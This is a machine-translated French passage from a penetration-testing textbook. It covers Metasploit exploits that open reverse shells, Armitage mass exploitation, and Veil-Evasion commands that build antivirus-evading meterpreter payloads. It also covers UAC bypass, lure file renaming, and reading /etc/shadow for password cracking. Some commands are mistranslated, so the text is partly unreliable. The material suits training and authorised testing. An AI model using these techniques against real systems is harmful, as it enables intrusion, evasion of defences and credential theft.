avec cet exploit, nous émettons le
commande suivante :
msf> utiliser exploit/multi/samba/usermap_script
Metasploit modifie l'invite de commande de msf> en exploit
msf
(usermap_script) > .
Metasploit invite le testeur à sélectionner la charge utile (un
shell inverse du
système compromis à l'attaquant) et définit les autres variables
répertoriées
comme suit:
• Hôte distant ( RHOST ) : il s'agit de l'adresse IP du système
attaqué
• Port distant ( RPORT ) : il s'agit du numéro de port utilisé
pour l'exploit
• Hôte local ( LHOST ) : Il s'agit de l'adresse IP du système
utilisé pour lancer
l'attaque
L'attaque est lancée en entrant la commande exploit à l'invite
après tout
des variables ont été définies. Metasploit lance l'attaque et
confirme qu'un renversement
shell est présent en indiquant la commande shell 1 ouverte et
en donnant les adresses IP
qui commencent et terminent la coque inverse.
Pour vérifier qu'un shell est présent, le testeur peut émettre
des requêtes sur le nom d'hôte,
username ( uname -a ), et whoami pour confirmer que les
résultats sont spécifiques à la cible
système qui est situé à un endroit éloigné. Jetez un œil à la
capture d'écran suivante :

120
Chapitre 4
[ 103 ]
Lorsqu'un système est compromis à ce point, il est prêt pour la
post-exploitation
activités ( voir chapitre 5 , Post Exploit – Action on the Objective
et Chapitre 6 , Post Exploit
– persistance ). Pour ajouter de nouveaux exploits à Metasploit,
en script Ruby ( .rb ) ou Python ( .py ),
placez-les dans le dossier .msf4 caché situé dans votre
répertoire personnel, puis
recharger msfconsole .
Exploiter une application vulnérable
Le Framework Metasploit est tout aussi efficace contre les
vulnérabilités dans le
système d'exploitation ainsi que des applications tierces. Dans
cet exemple, nous allons exploiter
une vulnérabilité de débordement de tampon qui a été
identifiée dans Chasys Draw IES (Version
4.10.01). La vulnérabilité existe dans la fonction ReadFile , qui
est utilisée pour stocker
données fournies par l'utilisateur de manière non sécurisée.
L'exploitation aboutit à du code arbitraire
l'exécution dans le contexte de l'utilisateur.
Pour lancer l'attaque, le testeur doit générer un fichier BMP
spécialement conçu et
demandez ensuite à la victime d'ouvrir ce fichier dans
l'application Chasys. Lorsque cela se produit, il
compromettra le système d'exploitation de base (efficace
contre Windows XP SP3 et
Windows 7 SP1).
La première étape consiste à ouvrir msfconsole et à configurer
Metasploit pour utiliser exploit/windows/
fileformat/chasys_draw_ies_bof , comme illustré dans la
capture d'écran suivante :
Encore une fois, l'exploit est un exploit relativement simple. Il
faut que le testeur règle une marche arrière
shell ( reverse_tcp ) du système compromis vers le système du
testeur, le
Hôte local ( LHOST ).
Lorsque l'exploit est terminé, il crée le fichier BMP
spécialement conçu, qui est
stocké avec le nom par défaut de msf.bmp . Pour inciter la cible
à ouvrir le fichier et
éviter un nom par défaut qui peut être détecté par certains
appareils, il est préférable de changer
le nom de fichier à quelque chose qui est plus pertinent pour la
cible visée.

Page 121
Exploit
[ 104 ]
L'étape suivante consiste à ouvrir une nouvelle instance de
msfconsole et à configurer un écouteur pour
le shell TCP inversé entrant qui proviendra de la cible lorsqu'il
sera
compromis. Un écouteur simple est montré dans la capture
d'écran suivante :
Une fois que la victime ouvre le fichier image BMP conçu dans
l'application vulnérable,
une session meterpreter est ouverte entre les deux systèmes. L'
invite msf est
remplacé par l' invite meterpreter et le testeur peut accéder
efficacement à la télécommande
système avec un shell de commande. Une des premières
étapes après le compromis est de vérifier
que vous êtes sur le système cible ; comme vous pouvez le voir
dans la capture d'écran suivante, le
La commande sysinfo identifie le nom de l'ordinateur et le
système d'exploitation, en vérifiant un
attaque réussie :

Page 122
Chapitre 4
[ 105 ]
Exploiter plusieurs cibles avec Armitage
Armitage est souvent négligé par les testeurs d'intrusion qui
évitent son interface graphique
l'interface au profit de l'entrée en ligne de commande
traditionnelle de la console Metasploit.
Cependant, il possède les fonctionnalités de Metasploit tout en
donnant de la visibilité à ses nombreux
options possibles, ce qui en fait une bonne alternative dans les
environnements de test complexes.
Contrairement à Metasploit, il vous permet également de
tester plusieurs cibles en même temps, jusqu'à
512 cibles à la fois.
Pour démarrer Armitage, assurez-vous que la base de données
et les services Metasploit sont démarrés en utilisant
la commande suivante :
démarrage du service postgresql
service metasploit start
Après cette étape, entrez armitage sur l'invite de commande
pour exécuter la commande.
Armitage ne s'exécute pas toujours proprement et peut
nécessiter que les étapes de lancement soient
répété pour s'assurer qu'il fonctionne correctement.
Pour découvrir les cibles disponibles, vous pouvez ajouter
manuellement un hôte en fournissant son IP
ou sélectionnez une analyse nmap dans l' onglet Hôtes de la
barre de menus. Armitage peut
énumérez également les cibles à l'aide des commandes
auxiliaires MSF ou de l'énumération DNS.
Armitage peut également importer des données hôtes à partir
des fichiers suivants : Acunetix, amap,
AppScan, proxy Burp, Foundstone, Microsoft Baseline Security
Analyzer, Nessus
Fichiers NBE et XML, NetSparker, NeXpose, nmap, OpenVas,
Qualys et Retina.
L'écran de démarrage initial d'Armitage est illustré dans la
capture d'écran suivante :

123
Exploit
[ 106 ]
Armitage vous permet de définir une étiquette d'hôte en
sélectionnant un hôte à l'aide d'un clic droit, et
puis allez dans le menu Host et sélectionnez la fonction Set
Label… . Cela vous permet
pour signaler une adresse particulière ou l'identifier par un
nom commun, ce qui est utile lorsque
en utilisant des tests en équipe. Ce processus est illustré dans la
capture d'écran suivante :
Armitage prend également en charge les espaces de travail
dynamiques, une vue filtrée du réseau basée sur
sur les critères de réseau, le système d'exploitation, les ports et
services ouverts et les étiquettes. Pour
exemple, vous pouvez tester un réseau et identifier plusieurs
serveurs qui ne semblent pas
être patché dans l'étendue du reste du réseau. Ceux-ci peuvent
être mis en évidence
en leur donnant une étiquette puis en les plaçant dans un
espace de travail prioritaire.
Une fois que vous avez identifié les systèmes cibles présents
sur un réseau, vous pouvez
sélectionner des modules spécifiques à mettre en œuvre dans
le cadre du processus d'exploitation. Vous pouvez également
utilisez l' option Attaques dans la barre de menu pour trouver
des attaques.
Pour exploiter un hôte, sélectionnez-le avec un clic droit,
accédez à l' élément Attaque et choisissez
un exploit (assurez-vous que le système d'exploitation est
configuré pour le bon hôte ; cela ne
pas toujours automatiquement).
Une option intéressante est Je vous salue Marie , située sous l'
option Attaques . En sélectionnant
cette fonction, tous les systèmes identifiés sont
automatiquement soumis à des exploits pour atteindre
le plus grand nombre de compromis possibles. C'est une
attaque très bruyante et devrait
donc être utilisé comme choix de test de dernier recours. C'est
aussi un excellent moyen de
déterminer si un système de détection d'intrusion est mis en
œuvre et configuré correctement !

124
Chapitre 4
[ 107 ]
Un système compromis apparaît sous la forme d'une icône avec
une bordure rouge avec des
des étincelles. Dans la capture d'écran suivante, deux systèmes
de test ont été compromis et il
quatre sessions actives sont en place entre ces systèmes et le
testeur. L' actif
Le panneau Sessions indique les connexions et identifie quel
exploit a été utilisé pour
compromettre la cible. Jetez un œil à la capture d'écran
suivante qui représente le
différentes possibilités :
Lors d'un test de pénétration qui a été mené, le Je vous salue
Marie
option a identifié deux vulnérabilités exploitables avec la cible
et a lancé deux sessions actives. Test manuel avec le même
cible a finalement identifié huit vulnérabilités exploitables, avec
plusieurs canaux de communication entre les personnes
compromises
système et le testeur. Les tests en conditions réelles de ce type
renforcent
les avantages et les faiblesses des outils automatisés lors de la
processus de test de pénétration.
Tests en équipe avec Armitage
Armitage est plus qu'une interface graphique pour le
framework Metasploit ; c'est un
outil de test d'intrusion scriptable qui permet à une équipe
d'utiliser une seule instance du
Metasploit Framework pour que l'interface graphique affiche
les fonctions suivantes :
• Il utilise la même session, permettant à un testeur de
superviser le processus, d'identifier
résultats d'intérêt et contrôler la direction des tests.
• Il exécute des scripts pour automatiser les tâches de test.

125
Exploit
[ 108 ]
• Il partage les fichiers téléchargés tels que les fichiers de mots
de passe. Cela permet à une équipe
membre de se concentrer sur le piratage de mots de passe,
tandis que les autres membres de l'équipe continuent
la phase d'exploitation.
• Il communique à l'aide d'un journal d'événements partagé.
Pour profiter de la configuration d'équipe, assurez-vous
qu'Armitage n'est pas déjà
en cours d'exécution, puis appelez le script teamserver à partir
d'une invite de console dans le
Répertoire Armitage , généralement /usr/share/armitage ,
comme suit :
root@kali:/usr/share/armitage# ./teamserverip_address mot
de passe
Assurez-vous que l'adresse IP est correcte, car elle n'est pas
vérifiée par Armitage, et que tous
les membres de l'équipe peuvent accéder à l'hôte sur le port
55553 . Lorsque vous démarrez l'Armitage
serveur d'équipe, il communique avec les membres de l'équipe
à l'aide d'un certificat SSL ; équipe
les membres doivent vérifier que le hachage SHA-1 du certificat
correspond à celui du serveur
Certificat SSL.
Ne vous connectez pas à 127.0.0.1 lorsque le script teamserver
est en cours d'exécution, car Armitage
utilise cette adresse IP pour se connecter et déterminer s'il doit
utiliser SSL
( teamserver ou une adresse distante) ou non SSL ( localhost ou
msfrpcd ). Se connecter
Armitage vers teamserver localement, utilisez l'adresse IP
externe dans le champ Hôte .
Les utilisateurs peuvent ouvrir un ou plusieurs interpréteurs de
commandes, parcourir des fichiers, télécharger des données et
prendre
captures d'écran. Les sessions Shell sont automatiquement
verrouillées lorsqu'elles sont utilisées, puis déverrouillées.
Cependant, certains scripts meterpreter peuvent ne pas
fonctionner au fil du temps.
Pour communiquer en équipe, l' option Afficher du menu ouvre
le journal des événements partagé.
Vous pouvez faire des entrées dans le journal comme vous le
feriez si vous utilisiez IRC ou un autre
salle de discussion, et le journal conserve un enregistrement
permanent de tous les commentaires.
Script de l'attaque d'Armitage
Armitage inclut le langage de script Cortana, basé sur Sleep, un
langage extensible qui ressemble à Perl. Les scripts Cortana
peuvent définir le clavier
raccourcis, insérer des menus et créer des interfaces utilisateur
uniques.
Les scripts peuvent être exécutés en tant qu'entités autonomes
(ce qui nécessite que l'équipe Armitage
serveur soit actif) ou directement depuis Armitage. Pour
charger un script existant, sélectionnez
Armitage dans la barre de menu principale, puis sélectionnez
Scripts . Une vue à onglets s'ouvrira
et un bouton vous donnera la possibilité de charger un script.
Armitage fournit également un environnement de script qui est
invoqué à partir de la vue |
Onglet Script Console du menu, comme illustré dans la capture
d'écran suivante :

Page 126
Chapitre 4
[ 109 ]
Un exemple de script pour analyser complètement les systèmes
cibles à l'aide de Metasploit Framework pourrait
être écrit comme scanner.cna . Chaque fois qu'un nouvel hôte
est ajouté ( host_add ), le port MSF
scanner recherchera une liste définie de ports TCP et les ports
UDP disponibles. Prenez un
regardez l'extrait de code suivant, qui montre le script du
scanner :
# Scanner de ports MSF
onhost_add {
println("[*] MSF Port Scanner Nouvel hôte OpenPorts on$1");
$console = console();
cmd($console, "utiliser auxiliaire/scanner/portscan/tcp");
cmd($console, "définir les FILS 12");
cmd($console, "définir les PORTS 139, 143");
# entrez d'autres ports si nécessaire
cmd($console, "définir RHOSTS $1");
cmd($console, "run -j");
cmd($console, "utiliser
auxiliaire/scanner/discovery/udp_sweep");
cmd($console, "définir les FILS 12");
cmd($console, "définir BATCHSIZE 256");
cmd($console, "définir RHOSTS $1");
cmd($console, "run -j");
db_sync();
}
Étant donné que Cortana a des crochets étendus dans le
framework Metasploit, les scripts peuvent être
utilisé pour lancer automatiquement des exploits, mener des
activités post-exploitation, telles que
suivre l'activité des utilisateurs et faciliter les activités multi-
utilisateurs tout au long de la chaîne de destruction de
l'attaquant.

Page 127
Exploit
[ 110 ]
Identifiants de contournement et détection antivirus
La phase d'exploitation de la kill chain est la plus dangereuse
pour la pénétration
testeur ou attaquant - ils interagissent directement avec le
réseau ou le système cible
et il y a de grandes chances que leur activité soit enregistrée ou
que leur identité soit découverte.
Encore une fois, la furtivité doit être utilisée pour minimiser les
risques pour le testeur. Bien qu'il n'y ait pas de précision
la méthodologie ou l'outil est indétectable, il y a des
changements de configuration et
des outils spécifiques qui rendront la détection plus difficile.
Lorsque l'on considère les exploits à distance, la plupart des
réseaux et systèmes utilisent divers
types de contrôles défensifs pour minimiser le risque d'attaque.
Les périphériques réseau incluent
routeurs, pare-feu, systèmes de détection et de prévention des
intrusions et logiciels malveillants
logiciel de détection.
Pour faciliter l'exploitation, la plupart des frameworks intègrent
des fonctionnalités pour rendre l'attaque
quelque peu furtif. Le framework Metasploit vous permet de
définir manuellement l'évasion
facteurs sur une base exploit par exploitation; cependant,
déterminer quels facteurs (tels que
comme le cryptage, le numéro de port, les noms de fichiers et
autres) peut être difficile et changer pour
chaque identifiant particulier. Le Framework Metasploit permet
également la communication entre
la cible et les systèmes attaquants à chiffrer (les
fenêtres/meterpreter/
reverse_tcp_rc4 ), ce qui rend difficile la détection de la charge
utile de l'exploit.
Metasploit Pro, disponible en version d'essai sur la distribution
Kali, comprend les éléments suivants pour
contourner spécifiquement les systèmes de détection
d'intrusion :
• La vitesse de numérisation peut être ajustée dans les
paramètres de Discovery Scan , réduisant ainsi la
vitesse d'interaction avec la cible en réglant la vitesse sur
sournois ou paranoïaque
• Implémentez l'évasion de transport en envoyant des paquets
TCP plus petits et en augmentant
le temps de transmission entre les paquets
• Réduire le nombre d'exploits simultanés lancés contre un
système cible
• Options d'évasion spécifiques à l'application pour les exploits
impliquant DCERPC,
HTTP et SMB peuvent être définis automatiquement
La plupart des logiciels antivirus s'appuient sur la
correspondance des signatures pour localiser les virus et autres
malware. Ils examinent chaque exécutable pour les chaînes de
code connues pour être présentes dans
virus (la signature) et créer une alarme lorsqu'une chaîne
suspecte est détectée. De nombreux
des attaques de Metasploit reposent sur des fichiers pouvant
posséder une signature qui, au fil du temps, a
été identifié par les éditeurs d'antivirus.
En réponse à cela, le Framework Metasploit permet à des
exécutables autonomes d'être
codé pour contourner la détection. Malheureusement, des
tests approfondis de ces exécutables à
les sites publics, tels que virustotal.com , ont diminué leur
efficacité à contourner
le logiciel AV.

Page 128
Chapitre 4
[ 111 ]
Un nouveau framework d'évasion AV, écrit par Chris Truncer,
appelé Veil-Evasion
( www.Veil-Evasion.com ), offre désormais une protection
efficace contre les
détection d'exploits autonomes. Veil-Evasion agrège diverses
injections de shellcode
techniques dans un cadre qui simplifie la gestion.
En tant que framework, Veil-Evasion possède plusieurs
fonctionnalités, dont
ce qui suit:
• Il intègre un shellcode personnalisé dans une variété de
langages de programmation,
y compris C, C# et Python
• Il peut utiliser un shellcode généré par Metasploit
• Il peut intégrer des outils tiers tels que Hyperion (chiffre un
fichier EXE avec
Cryptage AES-128 bits), PEScrambler et BackDoor Factory
• Le script Veil-Evasion_evasion.cna permet à Veil-Evasion
d'être
intégré à Armitage et sa version commerciale, Cobalt Strike
• Les charges utiles peuvent être générées et remplacées de
manière transparente dans tous les appels PsExec
• Les utilisateurs ont la possibilité de réutiliser le shellcode ou
d'implémenter le leur
méthodes de cryptage
• Sa fonctionnalité peut être scriptée pour automatiser le
déploiement
• Veil-Evasion est en constante évolution et le framework a
été étendu avec des modules tels que Veil-Evasion-Catapult (la
charge utile
système de livraison)
Veil-Evasion peut générer une charge utile d'exploit ; les
charges utiles autonomes comprennent le
options suivantes :
• Installation minimale de Python pour invoquer le shellcode ; il
télécharge un minimum
Installation de Python.zip et du binaire 7zip. L'environnement
Python est
décompressé, en invoquant le shellcode. Étant donné que les
seuls fichiers qui interagissent avec le
victime sont des bibliothèques Python de confiance et
l'interpréteur, l'AV de la victime le fait
ne pas détecter ou alerter sur toute activité inhabituelle.
• Sethc backdoor, qui configure le registre de la victime pour
lancer le sticky
clés RDP backdoor.
• Injecteur de shellcode PowerShell.
Lorsque les charges utiles ont été créées, elles peuvent être
livrées à la cible dans l'un des
les deux manières suivantes :
• Télécharger et exécuter à l'aide de la boîte à outils Impacket
et PTH
• Appel UNC

Page 129
Exploit
[ 112 ]
Veil-Evasion est disponible dans les référentiels Kali, tels que
Veil-Evasion, et il est
installé automatiquement en entrant simplement apt-get install
veil-evasion dans un
invite de commande.
Si vous recevez des erreurs lors de l'installation, relancez le
/usr/share/veil-evasion/setup/setup.sh script.
Veil-Evasion présente à l'utilisateur le menu principal, qui
fournit le nombre de
modules de charge utile qui sont chargés ainsi que les
commandes disponibles. Liste de saisie
listera toutes les charges utiles disponibles , liste langs listera
les charges utiles de langue disponibles,
et list <langue> listera les charges utiles pour une langue
spécifique. Voile-Evasion's
l'écran de lancement initial est illustré dans la capture d'écran
suivante :

Page 130
Chapitre 4
[ 113 ]
Veil-Evasion connaît un développement rapide avec des sorties
importantes sur une
mensuellement et des mises à jour importantes se produisant
plus fréquemment. Actuellement, il
sont 24 charges utiles conçues pour contourner l'antivirus en
utilisant le chiffrement ou directement
injection dans l'espace mémoire. Ces charges utiles sont
affichées dans la capture d'écran suivante :

Page 131
Exploit
[ 114 ]
Pour obtenir des informations sur une charge utile spécifique,
tapez info<numéro de charge utile / charge utile
name> ou info <tab> pour compléter automatiquement les
charges utiles disponibles. Vous pouvez également
entrez simplement le numéro de la liste. Dans l'exemple
suivant, nous avons saisi 19 pour sélectionner
la charge utile python/shellcode_inject/aes_encrypt :
L'exploit comprend une option expire_payload . Si le module
n'est pas exécuté par
l'utilisateur cible dans un délai spécifié, il est rendu inutilisable.
Cette fonction
contribue à la furtivité de l'attaque.
Les options requises incluent le nom des options ainsi que les
valeurs par défaut
et descriptifs. Si une valeur requise n'est pas renseignée par
défaut, le testeur devra
pour saisir une valeur avant que la charge utile puisse être
générée. Pour définir la valeur d'une option,
entrez set <nom de l'option> , puis saisissez la valeur souhaitée.
Pour accepter la valeur par défaut
options et créez l'exploit, tapez generate dans l'invite de
commande.
Si la charge utile utilise un shellcode, le menu shellcode vous
sera présenté, où
vous pouvez sélectionner msfvenom (le shellcode par défaut)
ou un shellcode personnalisé. Si la coutume
l'option shellcode est sélectionnée, entrez le shellcode sous la
forme \x01\x02 , sans
guillemets et sauts de ligne ( \n ). Si le msfvenom par défaut est
sélectionné, vous serez invité
avec le choix de charge utile par défaut de
windows/meterpreter/reverse_tcp . Si vous le souhaitez
pour utiliser une autre charge utile, appuyez sur Tab pour
compléter les charges utiles disponibles. Le disponible
les charges utiles sont illustrées dans la capture d'écran
suivante :

132
Chapitre 4
[ 115 ]
Dans l'exemple suivant, la commande [tab] a été utilisée pour
illustrer certains des
charges utiles disponibles ; cependant, la valeur par défaut
( windows/meterpreter/reverse_tcp ) était
sélectionné, comme illustré dans la capture d'écran suivante :

Page 133
Exploit
[ 116 ]
L'utilisateur sera alors présenté avec le menu de sortie avec
une invite à choisir
le nom de base des fichiers de charge utile générés. Si la charge
utile était basée sur Python
et vous avez sélectionné compile_to_exe comme option,
l'utilisateur aura l'option
soit d'utiliser Pyinstaller pour créer le fichier EXE, soit de
générer des fichiers Py2Exe,
comme le montre la capture d'écran suivante :
Le dernier écran affiche des informations sur la charge utile
générée, comme indiqué dans le
capture d'écran suivante :
L'exploit pourrait également avoir été créé directement à partir
d'une ligne de commande en utilisant le
options suivantes :
kali@linux:~./Veil-Evasion.py -p python/shellcode_inject/
aes_encrypt -o -output --msfpayload windows/meterpreter/
reverse_tcp --msfoptions LHOST=192.168.43.134 LPORT=4444

Page 134
Chapitre 4
[ 117 ]
Une fois qu'un exploit a été créé, le testeur doit vérifier la
charge utile par rapport à
VirusTotal pour s'assurer qu'il ne déclenchera pas d'alerte
lorsqu'il sera placé sur la cible
système. Si l'échantillon de charge utile est soumis directement
à VirusTotal et son comportement
le signale comme un logiciel malveillant, une mise à jour de la
signature par rapport à la soumission peut
être publié par les fournisseurs d' antivirus ( AV ) en moins
d'une heure. C'est pourquoi les utilisateurs sont
clairement averti avec le message « ne soumettez pas
d'échantillons à un scanner en ligne ! »
Veil-Evasion permet aux testeurs d'utiliser un contrôle sécurisé
contre VirusTotal. Lorsqu'une charge utile
est créé, un hachage SHA1 est créé et ajouté à hashes.txt , situé
dans le ~/veil-
répertoire de sortie . Les testeurs peuvent invoquer le script
checkvt pour soumettre les hachages à
VirusTotal, qui vérifiera les valeurs de hachage SHA1 par
rapport à sa base de données de logiciels malveillants. Si un
La charge utile de Veil-Evasion déclenche une correspondance,
puis le testeur sait qu'elle peut être détectée
par le système cible. S'il ne déclenche pas de correspondance,
alors la charge utile de l'exploit
contourner le logiciel antivirus. Une recherche réussie (non
détectable par AV) à l'aide du
La commande checkvt s'affiche comme suit :
Les tests soutiennent jusqu'à présent la conclusion selon
laquelle si checkvt ne trouve pas de correspondance sur
VirusTotal, la charge utile ne sera pas détectée par le logiciel
antivirus de la cible. À
utiliser avec Metasploit Framework, utiliser
exploit/multi/handler et définir PAYLOAD
être windows/meterpreter/reverse_tcp (le même que la charge
utile Veil-Evasion
option), avec les mêmes LHOST et LPORT utilisés avec Veil-
Evasion. Quand le
écouteur est fonctionnel, envoyez l'exploit au système cible.
Quand les auditeurs lancent
cela, il établira un shell inverse vers le système de l'attaquant.

135
Exploit
[ 118 ]
Sommaire
Dans ce chapitre, nous nous sommes concentrés sur les
exploits en tant qu'outil qui convertit les résultats de
reconnaissance en une action définie qui établit l'accès entre le
testeur et
la cible.
Kali fournit plusieurs outils pour faciliter le développement, la
sélection et l'activation
d'exploits, y compris la base de données interne exploit-db
ainsi que plusieurs frameworks
qui simplifient l'utilisation et la gestion des exploits. Parmi ces
cadres, le
Metasploit Framework et Armitage sont particulièrement
importants ; cependant,
Veil-Evasion améliore les deux avec sa capacité à contourner la
détection antivirus.
Les deux chapitres suivants se concentrent sur la partie la plus
importante de la chaîne de destruction de l'attaquant : la
activités post-exploitation. C'est la partie de l'attaque où les
attaquants réussissent
leur objectif. Les activités post-exploitation typiques incluent le
vol et l'exfiltration de données
(informations propriétaires ou financières), escalade
horizontale en profitant de
des contrôles d'accès médiocres et une escalade verticale par le
vol des informations d'identification des utilisateurs.

Page 136
Post Exploit – Action
sur l'objectif
Dans le monde moderne du piratage et des attaques système,
les attaquants ne sont pas aussi concernés
avec l'exploitation comme ils le sont avec ce qui peut être fait
avec cet accès. C'est la partie
de la chaîne de destruction où l'attaquant réalise la pleine
valeur de l'attaque.
Une fois qu'un système a été compromis, l'attaquant effectue
généralement le
activités suivantes :
• Réalise une évaluation rapide pour caractériser
l'environnement local
(infrastructure, connectivité, comptes, présence de fichiers
cibles, et
applications qui peuvent faciliter d'autres attaques)
• Localise et copie ou modifie les fichiers cibles d'intérêt, tels
que les fichiers de données
(données exclusives et informations financières)
• Crée des comptes supplémentaires et modifie le système
pour prendre en charge
activités post-exploitation
• Tente d'élever verticalement le niveau de privilège utilisé
pour l'accès par
capture d'informations d'identification au niveau de
l'administrateur ou du système
• Tentatives d'attaque d'autres systèmes de données (escalade
horizontale) en faisant pivoter le
attaque via le système compromis vers le reste du réseau
• Installe des portes dérobées persistantes et des canaux
secrets pour garder le contrôle et avoir
communications sécurisées avec le système compromis (ceci
est couvert dans
Chapitre 6 , Post Exploit – Persistance )
• Supprime les indications de l'attaque du système compromis
Pour réussir, les activités post-exploitation nécessitent une
connaissance approfondie des
le système d'exploitation et la structure de fichiers de la cible
pour s'assurer que les contrôles de protection peuvent être
contourné. La première étape post-exploitation est une
reconnaissance des
système dans le contexte du réseau local.

Page 137
Post Exploit - Action sur l'objectif
[ 120 ]
Dans ce chapitre, vous apprendrez ce qui suit :
• Comment contourner le contrôle de compte d'utilisateur
Windows ( UAC )
• Comment effectuer une reconnaissance rapide d'un système
compromis
• Comment obtenir des données sensibles d'un système
compromis (pillage)
• Comment créer des comptes supplémentaires
• Comment utiliser Metasploit Framework pour mener des
activités post-exploitation
• Techniques d'escalade verticale et horizontale pour améliorer
vos droits d'accès
et augmenter le nombre de comptes compromis
• Comment utiliser des techniques anti-légales pour brouiller
les pistes et empêcher le
compromis d'être découvert
Contourner le compte d'utilisateur Windows
Contrôler
Dans Windows Vista et les versions supérieures, Microsoft a
introduit des contrôles de sécurité pour
restreindre l'exécution des processus à trois niveaux d'intégrité
différents : élevé, moyen et
meugler. Un processus de haute intégrité a des droits
d'administrateur, un processus de niveau moyen s'exécute
avec les droits d'un utilisateur standard, et un processus de
faible intégrité est restreint, appliquant que
les programmes font des dommages minimes s'ils sont
compromis.
Pour effectuer des actions privilégiées, un programme doit
s'exécuter en tant qu'administrateur et
respecter les paramètres UAC. Les quatre paramètres UAC sont
les suivants :
• Toujours notifier : il s'agit du paramètre le plus strict et il
demandera au
user chaque fois qu'un programme souhaite utiliser des
privilèges de niveau supérieur.
• M'avertir uniquement lorsque des programmes tentent
d'apporter des modifications à mon ordinateur :
Il s'agit du paramètre UAC par défaut. Il n'invite pas l'utilisateur
lorsqu'un natif
Le programme Windows demande des privilèges de niveau
supérieur. Cependant, il vous demandera
si un programme tiers veut des privilèges élevés.
• M'avertir uniquement lorsque des programmes tentent
d'apporter des modifications à mon ordinateur
(ne pas assombrir mon bureau) : C'est le même que le
paramètre par défaut, mais c'est le cas
ne pas assombrir le moniteur du système lors de l'invite de
l'utilisateur.
• Ne jamais notifier : Cette option ramène le système aux jours
antérieurs à Vista. Si l'utilisateur est
un administrateur, tous les programmes fonctionneront avec
une intégrité élevée.

Page 138
Chapitre 5
[ 121 ]
Par conséquent, immédiatement après l'exploitation, le testeur
(et l'attaquant) veut connaître le
deux choses suivantes :
• Qui est l'utilisateur identifié par le système ?
• Quels droits ont-ils sur le système ?
Cela peut être déterminé à l'aide de la commande suivante :
C:\> whoami /groupes
Un système compromis fonctionne dans un contexte de haute
intégrité, comme le montre le
Libellé obligatoire\Libellé de niveau obligatoire élevé dans la
capture d'écran suivante :
Si l' étiquette est Étiquette obligatoire\Niveau obligatoire
moyen , le testeur aura besoin
passer des privilèges d'utilisateur standard aux droits
d'administrateur pour de nombreux
étapes post-exploitation pour réussir.
La première option pour élever les privilèges consiste à
exécuter exploit/windows/local/ask ,
de Metasploit, qui lance l' attaque RunAs . Cela créera un
exécutable
qui, lorsqu'il est invoqué, exécutera un programme pour
demander des droits élevés. L'exécutable
doit être créé à l'aide de l' option EXE::Custom ou crypté à
l'aide de Veil-Evasion
pour éviter la détection par l'antivirus local.
L'inconvénient de l' attaque RunAs est que l'utilisateur sera
invité à
programme d'un éditeur inconnu veut apporter des
modifications à l'ordinateur.
Cette alerte peut entraîner l'identification de l'élévation de
privilèges comme une attaque.

Page 139
Post Exploit - Action sur l'objectif
[ 122 ]
Si l'utilisateur actuel du système fait partie d'un groupe
d'administrateurs et si l'UAC est
défini sur la valeur par défaut M'avertir uniquement lorsque
les programmes essaient d'apporter des modifications à mon
ordinateur (il ne fonctionnera pas s'il est défini sur Always
Notify ), un attaquant pourra utiliser le
Metasploit exploit/windows/local/bypassuac module pour
élever leurs privilèges.
Le module bypassuac crée plusieurs artefacts sur le système
cible et peut être
reconnu par la plupart des logiciels antivirus. Cependant, l'
exploit/windows/local/
Le module bypassuac_inject place l'exécutable directement
dans une DLL réfléchissante
fonctionnant en mémoire, et il ne touche pas le disque dur,
minimisant ainsi l'opportunité
pour la détection par le logiciel antivirus.
Certaines mises en garde lors de la tentative de contourner les
contrôles UAC sont les suivantes :
• Les attaques de contournement UAC ne fonctionnent pas
contre Windows Vista où l'utilisateur
doit reconnaître chaque accès privilégié.
• Windows 8 reste vulnérable à cette attaque. Cependant,
Metasploit
Framework Attack ne fonctionne pas actuellement avec
Windows 8.1. Si c'est
tenté, l'utilisateur sera invité à cliquer sur un bouton OK avant
la
attaque peut obtenir des privilèges élevés, ce qui n'est guère
une attaque furtive.
Les attaquants peuvent modifier l'attaque en choisissant
d'utiliser exploit/windows/
local/ask , ce qui améliorera les chances de succès.
• Lors de l'examen du mouvement de système à système
(horizontal/latéral
escalade), et si l'utilisateur actuel est un utilisateur de domaine
avec un administrateur local
privilèges sur d'autres systèmes, vous pouvez utiliser le jeton
d'authentification existant
pour accéder et contourner l'UAC. Une attaque courante pour y
parvenir est la
Metasploit exploit/windows/local/current_user_psexec .
Effectuer une reconnaissance rapide de
un système compromis
Une fois qu'un système a été compromis, l'attaquant doit
obtenir des informations critiques
à propos de ce système, de son environnement réseau, des
utilisateurs et des comptes d'utilisateurs. D'habitude,
ils entreront une série de commandes ou un script invoquant
ces commandes depuis
l'invite du shell.

Page 140
Chapitre 5
[ 123 ]
Si le système compromis est basé sur la plate-forme Unix, des
les commandes de reconnaissance comprendront les éléments
suivants :
Commander
La description
/etc/resolv.conf
Utilisez la commande copy pour accéder et consulter le
les paramètres DNS actuels du système. Parce que c'est un
monde
fichier avec des privilèges de lecture, il ne déclenchera pas
d'alarmes
lors de l'accès.
/etc/passwd et /etc/shadow Ce sont des fichiers système qui
contiennent le nom d'utilisateur et
hachages de mot de passe. Il peut être copié par une personne
ayant
accès au niveau racine, et les mots de passe peuvent être
cassés
à l'aide d'un outil tel que John the Ripper.
whoami et qui -a
Identifiez les utilisateurs sur un système local.
ifconfig -a, iptables -L -n,
et netstat -r
Fournir des informations sur le réseau. ifconfig -a
fournit des détails d'adressage IP, iptables -L -n
répertorie toutes les règles contenues dans le pare-feu local (si
présent), et netstat -r affiche le routage
informations gérées par le noyau.
uname -a
Imprime la version du noyau.
ps aux
Imprime les services en cours d'exécution, l'ID du processus,
et des informations supplémentaires.
dpkg -l liste miam | grep
installé et dpkg -l rpm
-qa --last | diriger
Identifiez les packages logiciels installés.
Ces commandes contiennent un bref résumé des options
disponibles. Se référer au
fichier d'aide de la commande appropriée pour des
informations complètes sur la façon dont elle peut être utilisée.
Pour un système Windows, les commandes suivantes seront
saisies :
Commander
La description
whoami / tous
Répertorie l'utilisateur actuel, le SID, les privilèges utilisateur,
et groupes.

Page 141
Post Exploit - Action sur l'objectif
[ 124 ]
Commander
La description
ipconfig /all et
ipconfig / displaydns
Afficher les informations concernant l'interface réseau,
protocoles de connectivité et cache DNS local.
netstat -bnao et
netstat -r
Répertoriez les ports et les connexions avec les
processus (-b) à aucune recherche (-n), toutes les connexions
(-a) et les ID de processus parent (-o). L'option -r
affiche la table de routage. Ils nécessitent un administrateur
droit de courir.
vue nette et
vue réseau/domaine
Interroge NBNS/SMB pour localiser tous les hôtes dans le
groupe de travail ou domaine actuel. Tous les domaines
disponibles pour l'hôte sont donnés par /domain .
utilisateur net/domaine
Répertorie tous les utilisateurs du domaine défini.
utilisateur net %username% /
domaine
